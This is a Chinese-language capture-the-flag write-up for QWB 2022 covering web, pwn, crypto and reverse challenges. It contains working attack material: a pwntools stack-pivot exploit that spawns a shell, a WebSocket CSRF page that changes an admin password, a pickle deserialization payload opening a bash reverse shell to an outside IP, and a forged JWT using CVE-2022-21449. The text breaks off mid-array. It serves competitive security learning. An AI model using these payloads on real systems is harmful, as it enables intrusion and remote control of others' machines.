强网杯2022 S6

date
Aug 1, 2022
slug
qwb-2022-s6
status
Published
tags
CTF
WriteUP
summary
type
Post
💡
Name: S1tra Rank: 50
 

强网先锋

rcefile

pack 🐎 to phar then upload.
cat flag after get shell
第二种
利用反序列加spl_autoload_register函数
传一个inc,spl会自动加载inc,根据文件名写反序列化然后
<?php
class 文件名字叫啥就写啥{
function __construct(){
}
}
$p = new 文件名字叫啥就写啥();
echo urlencode(serialize($p));
?>
通过cookie传入反序列化然后在图片内容中放入命令执行就行啦

ASR

notion image
from Crypto.Util.number import *

n =8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c =945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

p1 = 223213222467584072959434495118689164399
p2 = 218566259296037866647273372633238739089
p3 = 260594583349478633632570848336184053653
p4 = 225933944608558304529179430753170813347

phi = p1*(p1-1)*p3*(p3-1)
d0 = inverse_mod(e, phi)
m0 = pow(c, d0, p1^2*p3^2)
print(long_to_bytes(m0))
N先factordb开根,然后yafu分解就可以了

devnull

from pwn import *
p=remote("182.92.82.77","35189")
context.log_level='debug'
elf=ELF('./devnull')

context(arch='amd64', os='linux')

p.recvuntil('filename')
payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)
p.send(payload)
sleep(1)
p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))
sleep(1)
p.sendline('exec 1>&2')

p.interactive()
notion image
notion image
溢出后栈迁移到load段上,写shellcode,拿下

Web

babyweb

websocket的csrf,通过该漏洞更改管理员密码,登录管理员账户
payload
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>1</title>
</head>
<body>
<meta charset="utf-8">
<script>
    function ws_attack(){//自定义函数ws_attack
        //定义函数功能
        //创建WebSocket并赋值给ws变量
        var ws = new WebSocket("ws://127.0.0.1:8888/bot");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
        ws.onopen = function(evt) {
            //当ws(WebSocket)处于连接状态时执行
            ws.send("changepw 123456");
        };
        ws.onmessage = function(evt) {
            //当ws(WebSocket)请求有响应信息时执行
            //注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);
            ws.close();
        };
    }
    ws_attack();//执行ws_attact函数
</script>

</script>
</body>
</html>
页面放到vps上发给机器人点击
登录后可查看到源码
app.py
@app.route("/buy", methods=['POST'])
def buy():
    if not session:
        return redirect('/login')
    elif session['user'] != 'admin':
        return "you are not admin"
    else :
        result = {}
        data = request.get_json()
        product = data["product"]
        for i in product:
            if not isinstance(i["id"],int) or not isinstance(i["num"],int):
                return "not int"
            if i["id"] not in (1,2):
                return "id error"
            if i["num"] not in (0,1,2,3,4,5):
                return "num error"
            result[i["id"]] = i["num"]
        sql = "select money,flag,hint from qwb where username='admin'"
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        cursor = c.execute(sql)
        for row in cursor:
            if len(row):
                money = row[0]
                flag = row[1]
                hint = row[2]
        data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
        r = requests.post("http://127.0.0.1:10002/pay",data).text
        r = json.loads(r)
        if r["error"] != 0:
            return r["error"]
        money = int(r["money"])
        hint = hint + result[1]
        flag = flag + result[2]
        sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        try:
            c.execute(sql)
            conn.commit()
        except Exception as e:
            conn.rollback()
            c.close()
            conn.close()
            return "database error"
        return "success"
pay.go
package main

import (
   "github.com/buger/jsonparser"
    "fmt"
   "net/http"
    "io/ioutil"
    "io"
)

func pay(w http.ResponseWriter, r *http.Request) {
    var cost int64 = 0
   var err1 int64 = 0
    json, _ := ioutil.ReadAll(r.Body)
   secret, err := jsonparser.GetString(json, "secret")
   if err != nil {
        fmt.Println(err)
    }
   if secret != "xxxx"{   //secret已打码
      io.WriteString(w, "{\"error\": \"secret error\"}")
      return
   }
   money, err := jsonparser.GetInt(json, "money")
   if err != nil {
        fmt.Println(err)
    }
   _, err = jsonparser.ArrayEach(
         json,
            func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
                id, _ := jsonparser.GetInt(value, "id")
                num, _ := jsonparser.GetInt(value, "num")
            if id == 1{
               cost = cost + 200 * num
            }else if id == 2{
               cost = cost + 1000 * num
            }else{
               err1 = 1
            }
            },
        "product")
   if err != nil {
      fmt.Println(err)
   }
   if err1 == 1{
      io.WriteString(w, "{\"error\": \"id error\"}")
      return
   }
   if cost > money{
      io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
      return
   }
   money = money - cost
    io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/pay", pay)
    http.ListenAndServe(":10002", mux)
}
data = request.get_json()
product = data["product"]
for i in product:
    if not isinstance(i["id"],int) or not isinstance(i["num"],int):
        return "not int"
    if i["id"] not in (1,2):
        return "id error"
    if i["num"] not in (0,1,2,3,4,5):
        return "num error"
    result[i["id"]] = i["num"]
这里使用了Python库的json解析器,对重复的键,它们会优先选用最后一个
绕过:
{
"product":[
		{
			"id":1,
			"num":0
		},
		{
			"id":2,
			"num":-9,
			"num":1
		}
]
}
go语言写的代码里的jsonparser函数解析json时对于重复键值首键优先
money = money - cost
这一串代码加上Python代码中的更新数据库语句可以想到要把cost掷为负数就可以让money变多
构造payload
{
"product":[
		{
			"id":1,
			"num":0
		},
		{
			"id":2,
			"num":-9,
			"num":1
		}
]
}

crash

python反序列化
admin=pickle.loads(b'\x80\x02capp\nUser\nq\x00)\x81q\x01}q\x02(X\x08\x00\x00\x00usernameq\x03X\x05\x00\x00\x00adminq\x04X\x05\x00\x00\x00tokenq\x05X\x05\x00\x00\x00Jn\x07\t\x00ub.')
print(base64.b64encode(admin))
#gASVPQAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMCHVzZXJuYW1llIwFYWRtaW6UjAV0b2tlbpSKCHa2y/cs3h7ldWIu
/balancer路由下Python反弹shell
import base64
b=base64.b64encode(b'(cos\nsystem\nX\x35\x00\x00\x00bash -c "bash -i >& /dev/tcp/121.196.247.6/2333 0>&1"o.')

a="bash -c \"bash -i >& /dev/tcp/121.196.247.6/2333 0>&1\""
print(len(a))
print(b)
# 字符串长度要改对应16进制
在环境里写一个flask,让nginx超时,显示504page
from flask import Flask
import random
import time
app = Flask(__name__, static_url_path='')
app.secret_key=random.randbytes(12)
@app.route('/', methods=['GET', 'POST'])
def index():
    time.sleep(60000)
    return ""
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
notion image

Misc

问卷调查

flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}

Crypto

myJWT

CVE-2022-21449
nc 输入1
jwt decode
isadmin: false改为ture base64 encode
notion image
part3改成AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
notion image

Reverse

deeprev

import lief
from collections import namedtuple
from dataclasses import dataclass
from typing import Any
from capstone import *
from z3 import *
import numpy as np

md = Cs(CS_ARCH_X86, CS_MODE_64)

b = None
try:
    b = lief.ELF.parse(r"deeprev")
except:
    raise Exception('Must have the ./eldar binary in cwd')

rela = [x for x in b.sections if x.name == '.rela.dyn'][0]
dynsym = [x for x in b.sections if x.name == '.dynsym'][0]


@dataclass
class Symbol(object):
    idx: int

    def __repr__(self):
        return f's{self.idx}'


@dataclass
class Reloc(object):
    idx: int

    def __repr__(self):
        return f'r{self.idx}'


@dataclass
class Ref(object):
    val: Any

    def __repr__(self):
        return f'&{self.val}'


@dataclass
class SymAddr(object):
    sym: Symbol
    field: str

    def __repr__(self):
        return f'{self.sym}.{self.field}'


@dataclass
class RelocAddr(object):
    reloc: Reloc
    field: str

    def __repr__(self):
        return f'{self.reloc}.{self.field}'

    def vaddr(self):
        off = 0
        match self.field:
            case 'r_address':
                off = 0
            case 'r_info':
                off = 8
            case 'r_addend':
                off = 16

        return (self.reloc.idx * 24) + off + rela.virtual_address


@dataclass
class FlagAddr(object):
    idx: int

    def __repr__(self):
        return f'flag[{self.idx}]'


@dataclass
class OutAddr(object):
    idx: int

    def __repr__(self):
        return f'out[{self.idx}]'


@dataclass
class ArrAddr(object):
    idx: int

    def __repr__(self):
        return f'arr[{self.idx}]'


BaseAddr = namedtuple('baseaddr', [])
FailAddr = namedtuple('fail', [])


def format_addr(addr: int):
    if addr >= rela.virtual_address and addr < rela.virtual_address + rela.size:
        offset = addr - rela.virtual_address
        r_offset = (offset // 24)
        r_rem = offset % 24

        if r_offset >= 3 and r_offset <= 0x61:
            arr_idx = (r_offset - 3) * 3 + (r_rem // 8)
            return ArrAddr(arr_idx)
        elif r_offset == 89:
            return OutAddr(r_rem)

        match r_rem:
            case 0:
                return RelocAddr(Reloc(r_offset), 'r_address')
            case 8:
                return RelocAddr(Reloc(r_offset), 'r_info')
            case 16:
                return RelocAddr(Reloc(r_offset), 'r_addend')
            case _:
                return RelocAddr(Reloc(r_offset), r_rem)
    elif addr > dynsym.virtual_address and addr < dynsym.virtual_address + dynsym.size:
        offset = addr - dynsym.virtual_address
        print(hex(addr))
        r_offset = (offset // 24)
        r_rem = offset % 24

        match r_rem:
            case 0:
                return SymAddr(Symbol(r_offset), 'st_name')
            case 8:
                return Symbol(r_offset)
            case 16:
                return SymAddr(Symbol(r_offset), 'st_size')
            case _:
                return SymAddr(Symbol(r_offset), r_rem)
    elif addr >= 0x404040 and addr < 0x404040 + 0x21:
        off = addr - 0x404040
        return FlagAddr(off)
    elif addr == 0x804000:
        return BaseAddr()
    elif addr == 0x40201D:
        return FailAddr()
    else:
        return addr


def to_sym(name):
    assert len(name) == 1
    return Symbol(ord(name[0]))


Rel = namedtuple('REL', ['dst', 'val', 'ridx'])
Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])
R64 = namedtuple('R64', ['dst', 'symbol', 'addend', 'ridx'])
R32 = namedtuple('R32', ['dst', 'symbol', 'addend', 'ridx'])


def parse(b) -> list:
    print('[*] Loading relocations...')
    relocs = list(b.relocations)

    relocs = relocs[:1267]

    print('[*] Parsing...')
    instructions = []
    for i in range(3, len(relocs)):
        r = relocs[i]
        match r.type:
            case 1:  # R64
                instructions.append(R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
            case 5:  # CPY
                instructions.append(Copy(format_addr(r.address), to_sym(r.symbol.name), i))
            case 8:  # REL
                instructions.append(Rel(format_addr(r.address), format_addr(r.addend), i))
            case 10:  # R32
                instructions.append(R32(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))

    return instructions


Mov = namedtuple('mov', ['dst', 'src', 'sz', 'ridx'])
Add = namedtuple('add', ['dst', 'src', 'addend', 'ridx'])


def lift_mov_add(instructions):
    idx = 0

    sizes = []
    curr = [8] * 8
    sizes.append(curr)

    for instr in instructions:
        c = list(curr)
        match instr:
            case Rel(SymAddr(Symbol(idx), 'st_size'), val, ridx):
                c[idx] = val
        sizes.append(c)

    while idx < len(instructions):
        match instructions[idx]:
            case Rel(dst, val, ridx):
                instructions[idx] = Mov(dst, Ref(val), 8, ridx)
            case Copy(dst, sym, ridx):
                instructions[idx] = Mov(dst, sym, sizes[idx][sym.idx], ridx)
            case R64(dst, sym, add, ridx):
                instructions[idx] = Add(dst, sym, add, ridx)
        idx += 1
    return instructions


def remove_sizes(instructions):
    # Sizes are now nops
    idx = 0
    while idx < len(instructions):
        match instructions[idx]:
            case Mov(SymAddr(Symbol(s), 'st_size'), _, _, _) if s != 3:
                instructions[idx:idx + 1] = []

        idx += 1
    return instructions


def lift_indirect(instructions):
    # [0349] :: mov r350.r_addend, s2
    # [0350] :: add s4, s4, 0
    # [0351] :: mov r350.r_addend, &0
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 3]:
            case [
                Mov(RelocAddr(Reloc(rel_1), 'r_addend'), Symbol(sidx_1), sz_1, ridx_1),
                Add(dst_2, sym_2, _, ridx_2),
                Mov(RelocAddr(Reloc(rel_3), 'r_addend'), Ref(0), sz_3, _),
            ] if (
                    (rel_1 == ridx_2) and (rel_3 == ridx_2)
            ):
                instructions[idx:idx + 3] = [
                    Add(dst_2, sym_2, Symbol(sidx_1), ridx_1)
                ]

        idx += 1
    return instructions


Block = namedtuple('block', ['arr', 'flag', 'ridx'])
Output = namedtuple('output', ['out', 'arr', 'ridx'])


def lift_block(instructions):
    # [0378] :: mov s2, &arr[1]
    # [0008] :: add s4, s4, s2
    # [0382] :: mov s2, &flag[1]
    # [0384] :: movb s7, s2
    # [0385] :: mov s2, &s7
    # [0008] :: add s4, s4, s2
    # [0390] :: r32 s4.st_value_p1, s1, 0
    # [0391] :: mov s2, &arr[1]
    # [0392] :: mov s6, s2
    # [0393] :: mov s2, &s4
    # [0008] :: add s5, s4, s2
    # [0397] :: mov s2, &s5
    # [0008] :: add s5, s5, s2
    # [0008] :: add s5, s5, s2
    # [0404] :: add s5, s5, arr[0]
    # [0405] :: mov arr[1], s5
    # [0406] :: mov r407.r_address, s2
    # [0407] :: add 0, s6, 0
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 18]:
            case [
                Mov(_, arr, _, ridx),
                Add(_, _, _, _),
                Mov(_, flag, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                R32(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Add(_, _, _, _),
                Add(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
            ]:
                instructions[idx:idx + 18] = [
                    Block(arr, flag, ridx)
                ]
        idx += 1
    return instructions


Reset = namedtuple('reset', ['ridx'])
ShuffleBlock = namedtuple('shuffleblock', ['f1', 'f2', 'ridx'])


def lift_reset(instructions):
    idx = 0
    while idx < len(instructions) - 256:
        good = True

        for i in range(256):
            op = instructions[idx + i]
            if type(op) == Mov:
                dst, src, _, _ = op
                if dst != ArrAddr(i) or src != Ref(i):
                    good = False
                    break
            else:
                good = False
                break

        if good:
            instructions[idx:idx + 256] = [Reset(instructions[idx].ridx)]

        idx += 1
    return instructions


def lift_shuffle_block(instructions):
    idx = 0
    while idx < len(instructions) - 256:
        good = True

        for i in range(256):
            op = instructions[idx + i]
            if type(op) == Block:
                arr, flag, ridx = op
                if arr != Ref(ArrAddr(i)):
                    good = False
                    break
            else:
                good = False
                break

        if good:
            instructions[idx:idx + 256] = [ShuffleBlock(instructions[idx].flag, instructions[idx + 1].flag, instructions[idx].ridx)]

        idx += 1
    return instructions


Output = namedtuple('output', ['out', 'arr', 'ridx'])


def lift_output(instructions):
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 26]:
            case [
                Mov(_, arr, _, ridx),
                Add(_, _, _, _),
                R32(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Add(_, _, _, _),
                Add(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                R32(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Mov(_, _, _, _),
                Add(_, _, _, _),
                Add(_, _, _, _),
                Add(_, _, _, _),
                Mov(out, _, _, _),
            ]:
                instructions[idx:idx + 26] = [Output(out, arr, ridx)]
        idx += 1
    return instructions


MultAdd = namedtuple('multadd', ['out', 'val', 'k', 'ridx'])


def lift_multadd(instructions):
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 3]:
            # block prefix
            case [
                Mov(Symbol(2), out, _, ridx),
                Mov(Symbol(5), Symbol(2), _, _),
                Mov(Symbol(6), Ref(0), _, _),
            ]:
                k = 0
                double = False

                ptr = idx + 3

                good = True
                while ptr < len(instructions):
                    match instructions[ptr]:
                        case Mov(Symbol(2), Ref(Symbol(6)), _, _):
                            double = True
                        case Mov(Symbol(2), Ref(Symbol(5)), _, _):
                            double = False
                        case Add(Symbol(6), Symbol(6), Symbol(2), _):
                            k = (k * 2) if double else (k + 1)
                        case Add(Symbol(7), Symbol(7), Symbol(2), _):
                            ptr += 1
                            break
                        case _:
                            good = False
                            break

                    ptr += 1

                if good:
                    instructions[idx:ptr] = [
                        MultAdd(Symbol(7), out, k, ridx)
                    ]

        idx += 1

    return instructions


Trunc = namedtuple('trunc', ['val', 'k', 'ridx'])


def lift_truncate(instructions):
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 2]:
            case [
                Mov(Symbol(2), Ref(SymAddr(Symbol(5), 11)), _, ridx),
                Mov(SymAddr(Symbol(7), 11), Symbol(2), 5, _)
            ]:
                instructions[idx:idx + 2] = [
                    Trunc(Symbol(7), 0xffffff, ridx)]
        idx += 1
    return instructions


ArraySlots = namedtuple('arr', ['values', 'ridx'])


def lift_array_slots(instructions):
    idx = 0
    while idx < len(instructions):
        match instructions[idx]:
            case Mov(BaseAddr(), Ref(0), _, ridx):
                ptr = idx + 1
                while ptr < len(instructions):
                    op = instructions[ptr]
                    if type(op) != Mov or op.dst != BaseAddr():
                        break
                    ptr += 1

                start = idx
                end = ptr

                data = []

                # Check for movs into array.
                vstart = RelocAddr(Reloc(ridx), 'r_address').vaddr()
                offset = 0
                while end + offset < len(instructions) and offset < ((end - start) * 3):
                    op = instructions[end + offset]
                    if type(op) == Mov and type(op.dst) is RelocAddr and op.dst.vaddr() == vstart + (offset * 8):
                        data.append(op.src.val)
                    else:
                        break
                    offset += 1

                if len(data) > 0:
                    data += [0] * (((end - start) * 3) - len(data))
                    instructions[idx:end + offset] = [
                        ArraySlots(data, ridx)
                    ]

        idx += 1
    return instructions


Shellcode = namedtuple('shellcode', ['dst', 'code', 'ridx'])


def lift_shellcode(instructions):
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 6]:
            case [
                ArraySlots(values, ridx),
                Mov(Symbol(3), Ref(RelocAddr(Reloc(rel2), 'r_address')), _, _),
                Mov(SymAddr(Symbol(3), 'st_name'), _, _, _),
                Add(dst, Symbol(3), _, _),
                Mov(Symbol(2), _, _, _),
                Mov(RelocAddr(Reloc(rel6), 'r_address'), Symbol(2), _, _)
            ] if (rel2 == ridx) and (rel6 == ridx):
                instructions[idx:idx + 6] = [
                    Shellcode(dst, b''.join([(x & 0xffffffffffffffff).to_bytes(8, 'little') for x in values]), ridx)
                ]
        idx += 1
    return instructions


Aop = namedtuple('aop', ['dst', 'op', 'val', 'k', 'ridx'])


def lift_aop(instructions):
    idx = 0
    while idx < len(instructions):
        match instructions[idx:idx + 5]:
            case [
                Mov(Symbol(2), val, _, ridx),
                Mov(Symbol(5), Symbol(2), _, _),
                Shellcode(_, data, _),
                Mov(Symbol(2), Ref(Symbol(5)), _, _),
                Add(dst, dst2, Symbol(2), _)
            ] if len(data) == 24 and (dst == dst2):
                op = next(md.disasm(data, 0))

                t = op.mnemonic
                k = int(op.op_str.split(', ')[-1], 16)

                instructions[idx:idx + 5] = [
                    Aop(dst, t, val, k, ridx)
                ]

        idx += 1
    return instructions


def solve_end_flag(instructions):
    orig = [BitVec('f%d' % i, 8) for i in range(16, 28)]
    flag = ([0] * 16) + [ZeroExt(24, x) for x in orig]

    s = Solver()
    for o in orig:
        s.add(UGT(o, 0x20))
        s.add(ULT(o, 0x7f))

    idx = 0
    while idx < len(instructions):
        match instructions[idx]:
            case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:
                x = BitVecVal(v, 32)

                ptr = idx + 1
                while ptr < len(instructions):
                    match instructions[ptr]:
                        case MultAdd(Symbol(7), Ref(FlagAddr(f)), k, _):
                            x += (flag[f] * k)
                        case Aop(Symbol(7), op, Ref(FlagAddr(f)), k, _):
                            v = None
                            match op:
                                case 'and':
                                    v = flag[f] & k
                                case 'xor':
                                    v = flag[f] ^ k
                                case 'or':
                                    v = flag[f] | k
                                case 'rol':
                                    v = ZeroExt(24, RotateLeft(Extract(7, 0, flag[f]), k))
                                case 'ror':
                                    v = ZeroExt(24, RotateRight(Extract(7, 0, flag[f]), k))
                                case 'shl':
                                    v = ZeroExt(24, Extract(7, 0, flag[f]) << k)
                                case 'shr':
                                    v = flag[f] >> k
                                case _:
                                    raise Exception(f'unknown aop: {op}')
                            x += v
                        case Trunc(Symbol(7), k, _):
                            s.add(x == 0)
                        case _:
                            break

                    ptr += 1

        idx += 1

    print('solving...')
    print(s.check())

    m = s.model()
    flag = bytes([m.eval(o).as_long() for o in orig])

    return flag


def solve_out_arr(instructions):
    X = []
    Y = []

    idx = 0
    while idx < len(instructions):
        match instructions[idx]:
            case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:
                row = []

                ptr = idx + 1
                while ptr < len(instructions):
                    match instructions[ptr]:
                        case MultAdd(Symbol(7), Ref(OutAddr(_)), k, _):
                            row.append(k)
                        case Trunc(Symbol(7), k, _):
                            X.append(row)
                            Y.append(-v)
                        case _:
                            break

                    ptr += 1

        idx += 1

    a = np.array(X, dtype=np.uint32)
    b = np.array(Y, dtype=np.uint32)

    return [int(x) for x in np.linalg.solve(a, b)]


def solve_start_flag(output):
    def sim(a, b):
        arr = list(range(256))

        z = 0
        for i in range(256):
            p = a if i % 2 == 0 else b
            z = (z + arr[i] + p) & 0xff
            arr[i], arr[z] = arr[z], arr[i]

        out = [0, 0, 0]
        z = 0
        for i in range(3):
            z = (z + arr[i]) & 0xff
            arr[i], arr[z] = arr[z], arr[i]
            out[i] = arr[(arr[i] + arr[z]) & 0xff]

        return out

    def solve_chunk(k1, k2, k3):
        # Brute force chunk.
        for a in range(0x20, 0x7f):
            for b in range(0x20, 0x7f):
                out = sim(a, b)

                if abs(out[0] - k1) <= 1 and abs(out[1] - k2) <= 1 and abs(out[2] - k3) <= 1:
                    return (a, b)

        return None

    f = []
    for i in range(0, len(output), 3):
        f += list(solve_chunk(*output[i:i + 3]))

    return bytes(f)


def dump(instructions):
    for op in instructions:
        match op:
            case Mov(SymAddr(sym, 'st_name'), Ref(val), 8, ridx) if type(val) is int:
                name = val & 0xffffffff
                info = (val >> 4) & 0xff
                other = (val >> 5) & 0xff
                shndx = (val >> 6) & 0xffff
                print(f'[{ridx:04d}] :: setinfo {sym}, name=0x{name:x}, info=0x{info:x}, other=0x{other:x}, shndx=0x{shndx:x}')
            case Mov(BaseAddr(), Ref(0), _, ridx):
                print(f'[{ridx:04d}] :: [ARRAY SLOT]')
            case Mov(dst, src, 8, ridx):
                print(f'[{ridx:04d}] :: mov {dst}, {src}')
            case Mov(dst, src, sz, ridx):
                print(f'[{ridx:04d}] :: mov({sz}) {dst}, {src}')
            case Add(dst, src, add, ridx):
                print(f'[{ridx:04d}] :: add {dst}, {src}, {add}')
            case R32(dst, src, add, ridx):
                print(f'[{ridx:04d}] :: r32 {dst}, {src}, {add}')
            case Block(arr, flag, ridx):
                print(f'[{ridx:04d}] :: shuffle {arr}, {flag}')
            case Output(out, arr, ridx):
                print(f'[{ridx:04d}] :: output {out}, {arr}')
            case ShuffleBlock(f1, f2, ridx):
                print(f'[{ridx:04d}] :: shuffleblock {f1}, {f2}')
            case MultAdd(dst, val, k, ridx):
                print(f'[{ridx:04d}] :: madd {dst} += ({val} * {k})')
            case Aop(dst, op, val, k, ridx):
                print(f'[{ridx:04d}] :: aop {dst} += ({val} {op} {k})')
            case Reset(ridx):
                print(f'[{ridx:04d}] :: reset')
            case Trunc(val, k, ridx):
                print(f'[{ridx:04d}] :: trunc {val} &= 0x{k:x}')
            case ArraySlots(values, ridx):
                print(f'[{ridx:04d}] :: array [{", ".join([hex(x) for x in values])}]')
            case Shellcode(dst, code, ridx):
                print(f'[{ridx:04d}] :: exec {dst} <- {code.hex()}')
                print('-' * 20)
                for i in md.disasm(code, 0):
                    if i.mnemonic == 'ret':
                        break
                    print("    0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str.replace('0x8040e4', 's5').replace('0x8040cc', 's4')))
                print('-' * 20)
            case _:
                print(op)


LIFTS = [
    lift_mov_add,
    remove_sizes,
    lift_indirect,
    lift_block,
    lift_reset,
    lift_shuffle_block,
    lift_output,
    lift_multadd,
    lift_truncate,
    lift_array_slots,
    lift_shellcode,
    lift_aop,
]


def lift(instructions):
    for lift_fn in LIFTS:
        print(f'[*] {lift_fn.__name__}...')
        instructions = lift_fn(instructions)
    return instructions


instructions = parse(b)
instructions = lift(instructions)
dump(instructions)
根据IR分析出大致逻辑
但是脚本存在问题,shellcode加载不全,自己改个
from z3 import *
from capstone import *
data = open(r"deeprev", "rb").read()
mem = [b for b in b'\0' * 0x804000 + data[0x4000:0x25a000]]
md = Cs(CS_ARCH_X86, CS_MODE_64)

def write64(addr, val):
    for i in range(8):
        mem[addr + i] = (val >> (8 * i)) & 0xff


def write32(addr, val):
    for i in range(4):
        mem[addr + i] = (val >> (8 * i)) & 0xff


def writen(addr, val, n):
    for i in range(n):
        mem[addr + i] = (val >> (8 * i)) & 0xff


def read64(addr):
    r = 0
    for i in range(8):
        r += (mem[addr + i] << (8 * i))
    return r


def readn(addr, n):
    r = 0
    for i in range(n):
        r += (mem[addr + i] << (8 * i))
    return r


for i in range(28):
    mem[0x404040 + i] = 0x61 + i

pc = 0x8042ba
dynsym = 0x80406c
regs = {}

for i in range(1, 11):
    regs[dynsym + i * 24] = "VAL_" + chr(ord('A') + i - 1)
    regs[dynsym + 8 + i * 24] = "LEN_" + chr(ord('A') + i - 1)
    regs[dynsym - 8 + i * 24] = "TYPE_" + chr(ord('A') + i - 1)

shellcode = open("shell.bin", "wb")

while pc < 0x080B952:
    print("{:08x}: ".format(pc), end="")

    # if pc == 0x00a57b02:
    #     print(hex(read64(0x8040ac)))
    #     break

    r_offset = read64(pc)
    r_type = read64(pc + 8) & 0xffff
    r_sym = read64(pc + 8) >> 32
    r_addend = read64(pc + 16)

    print_offset = hex(r_offset)[2:]
    print_addend = hex(r_addend)[2:]
    if r_offset in regs:
        print_offset = regs[r_offset]
    if r_addend in regs:
        print_addend = "&" + regs[r_addend]

    sym_addr = dynsym + r_sym * 24

    if r_type == 8:
        write64(r_offset, r_addend)
        # print("RELA\t{}\t{:x}".format(print_offset, r_addend))
        print("{} \t<- {}".format(print_offset, print_addend))
    elif r_type == 5:
        sym_len = read64(sym_addr + 8)
        writen(r_offset, r_addend + readn(read64(sym_addr), sym_len), sym_len)
        # print("COPY\t{}\t{}\t{:x}".format(print_offset, regs[sym_addr], r_addend))
        print("{} \t<- [{} + {}]".format(print_offset, regs[sym_addr], print_addend))
    elif r_type == 1:
        if read64(0x8040ac) == 0x1000a0000001a and r_sym == 3:
            shell_len = read64(pc + 24 * 2 + 16)
            shell_addr = read64(0x8040b4)
            shellcode.write(bytes(mem[shell_addr:shell_addr + shell_len]))
            code = bytes(mem[shell_addr:shell_addr + shell_len])
            write64(r_offset, 0)
            # print("__64\t{}\t{}\t{:x} SHELLCODE".format(print_offset, regs[sym_addr], r_addend))
            print("{} \t<- SHELLCODE".format(print_offset))

            print('-' * 20)
            for i in md.disasm(code, 0):
                if i.mnemonic == 'ret':
                    break
                print("    0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str.replace('0x8040e4', 's5').replace('0x8040cc', 's4')))
            print('-' * 20)


        else:
            write64(r_offset, r_addend + read64(sym_addr))
            # print("__64\t{}\t{}\t{:x}".format(print_offset, regs[sym_addr], r_addend))
            print("{} \t<- {} + {}".format(print_offset, regs[sym_addr], print_addend))
    elif r_type == 0xa:
        write32(r_offset, r_addend + read64(sym_addr))
        # print("__32\t{}\t{}\t{:x}".format(print_offset, regs[sym_addr], r_addend))
        print("{} \t<- DWORD({} + {})".format(print_offset, regs[sym_addr], print_addend))
    elif r_type == 0:
        break
    else:
        print("UNKNOWN R_TYPE")
        break

    pc += 24


print(mem[0x404064])
能看到形如以下
008042ba: 804000 	<- 0
008042d2: 804000 	<- 0
008042ea: VAL_B 	<- 404040
00804302: LEN_B 	<- 1
0080431a: VAL_D 	<- [VAL_B + 0]
00804332: 804000 	<- 0
0080434a: 804332 	<- 16008040cc253480
00804362: 80433a 	<- c3
0080437a: VAL_C 	<- 804332
00804392: TYPE_C 	<- 1000a0000001a
008043aa: 804332 	<- SHELLCODE
--------------------
    0x0:	xor	byte ptr [s4], 0x16
--------------------
008043c2: VAL_B 	<- a53f62
008043da: LEN_B 	<- 18
008043f2: 804332 	<- [VAL_B + 0]
0080440a: 804000 	<- 0
00804422: 80440a 	<- 8040cc250480
0080443a: 804412 	<- c3
00804452: VAL_C 	<- 80440a
0080446a: TYPE_C 	<- 1000a0000001a
00804482: 80440a 	<- SHELLCODE
--------------------
    0x0:	add	byte ptr [s4], 0
--------------------
算法长这样
(((xorkey[i]) ^ flag[i]) + i) ^ fake[i] == 0
同理分析后8字节算法
z3 solved
# -*- coding:utf-8 -*-
xorkey = [
    0x16, 0x17, 0x10, 0x12,
    0x10, 0x11, 0x12, 0x13,
